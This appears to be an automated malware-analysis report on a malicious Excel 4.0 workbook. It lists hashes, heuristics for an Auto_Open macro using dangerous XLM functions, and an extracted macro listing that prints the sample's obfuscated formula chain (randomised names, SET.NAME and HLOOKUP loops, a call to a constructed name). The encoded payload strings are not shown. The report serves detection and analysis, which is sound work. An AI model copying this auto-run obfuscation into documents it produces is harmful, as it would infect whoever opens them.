Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a258f3d4891646ea…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:41:58 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 23da62d231e86e81b3f95eb3cde718c5 SHA-1: 3cda1ee4f01e9d339209066ddf87ef3920751d2f SHA-256: a258f3d4891646ea68e248d74cfaf8267c20863f30d31bb7f4372ce64c3586ad
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6900 bytes
SHA-256: 437bdb893d13ef5222300489b73be6e93bebfc54c66f06424abd230a5959e697
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  cZXLHVMAha
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G176 
' 0018     21 LABEL : Cell Value, String Constant - dflzQr len=0 
' 0018     25 LABEL : Cell Value, String Constant - eeTfhaqnrg len=0 
' 0018     20 LABEL : Cell Value, String Constant - epxzV len=0 
' 0018     23 LABEL : Cell Value, String Constant - EQEnfKaE len=0 
' 0018     27 LABEL : Cell Value, String Constant - GQMFSzSCTxKU len=0 
' 0018     20 LABEL : Cell Value, String Constant - HGdFz len=0 
' 0018     27 LABEL : Cell Value, String Constant - JPNgfJVQtDkI len=0 
' 0018     20 LABEL : Cell Value, String Constant - lHxJf len=0 
' 0018     24 LABEL : Cell Value, String Constant - LpozcBdHB len=0 
' 0018     24 LABEL : Cell Value, String Constant - LSRqIZEvl len=0 
' 0018     25 LABEL : Cell Value, String Constant - lUFRNOYwJo len=0 
' 0018     20 LABEL : Cell Value, String Constant - LxkxQ len=0 
' 0018     21 LABEL : Cell Value, String Constant - NBNPmj len=0 
' 0018     27 LABEL : Cell Value, String Constant - ogURyEtLWcot len=0 
' 0018     27 LABEL : Cell Value, String Constant - OWdnPidJwLNA len=0 
' 0018     27 LABEL : Cell Value, String Constant - PeiSzvWAIZOy len=0 
' 0018     27 LABEL : Cell Value, String Constant - rSOqZMxjPvIW len=0 
' 0018     27 LABEL : Cell Value, String Constant - TtZfPTorCnem len=0 
' 0018     21 LABEL : Cell Value, String Constant - vpKxbs len=0 
' 0018     23 LABEL : Cell Value, String Constant - XRRSSnGe len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  cZXLHVMAha,Q93,"",-758.00000000000000000000
'  cZXLHVMAha,G94,"SET.NAME("lUFRNOYwJo",0+VALUE("0"))",""
'  cZXLHVMAha,Q94,"",829.00000000000000000000
'  cZXLHVMAha,Q95,"",425.00000000000000000000
'  cZXLHVMAha,Q96,"",-623.00000000000000000000
'  cZXLHVMAha,Q97,"",-980.00000000000000000000
'  cZXLHVMAha,Q98,"",411.00000000000000000000
'  cZXLHVMAha,G99,"SET.NAME("epxzV",lUFRNOYwJo)",""
'  cZXLHVMAha,G101,"SET.NAME("eeTfhaqnrg",lUFRNOYwJo)",""
'  cZXLHVMAha,G106,"SET.NAME("EQEnfKaE",COUNTA(LSRqIZEvl))",""
'  cZXLHVMAha,G108,"SET.NAME("HGdFz",COUNTA(vpKxbs))",""
'  cZXLHVMAha,G111,[],""
'  cZXLHVMAha,G115,"SET.NAME("XRRSSnGe","")",""
'  cZXLHVMAha,G118,"epxzV",""
'  cZXLHVMAha,G121,"SET.NAME("JPNgfJVQtDkI",HLOOKUP("*",LSRqIZEvl,epxzV,FALSE))",""
'  cZXLHVMAha,G124,"rSOqZMxjPvIW",""
'  cZXLHVMAha,G128,"SET.NAME("NBNPmj",lUFRNOYwJo)",""
'  cZXLHVMAha,G131,[],""
'  cZXLHVMAha,G133,"NBNPmj",""
'  cZXLHVMAha,G135,"dflzQr",""
'  cZXLHVMAha,G137,"TtZfPTorCnem",""
'  cZXLHVMAha,G139,"ogURyEtLWcot",""
'  cZXLHVMAha,G141,"SET.NAME("OWdnPidJwLNA",VALUE(HLOOKUP("*",vpKxbs,ogURyEtLWcot,FALSE)))",""
'  cZXLHVMAha,G144,"GQMFSzSCTxKU",""
'  cZXLHVMAha,G146,"XRRSSnGe",""
'  cZXLHVMAha,G151,"eeTfhaqnrg",""
'  cZXLHVMAha,G154,NEXT(),""
'  cZXLHVMAha,G159,"LxkxQ",""
'  cZXLHVMAha,G163,[],""
'  cZXLHVMAha,G167,"lHxJf",""
'  cZXLHVMAha,G169,NEXT(),""
'  cZXLHVMAha,G174,RETURN(),""
'  cZXLHVMAha,G196,"SET.NAME("LpozcBdHB",G94)",""
'  cZXLHVMAha,G198,"LSRqIZEvl",""
'  cZXLHVMAha,G203,"SET.NAME("vpKxbs",R73C15)",""
'  cZXLHVMAha,G207,"SET.NAME("lHxJf",215)",""
'  cZXLHVMAha,G210,"SET.NAME("PeiSzvWAIZOy",7)",""
'  cZXLHVMAha,G214,LpozcBdHB(),""
'  cZXLHVMAha,G215,HALT(),""

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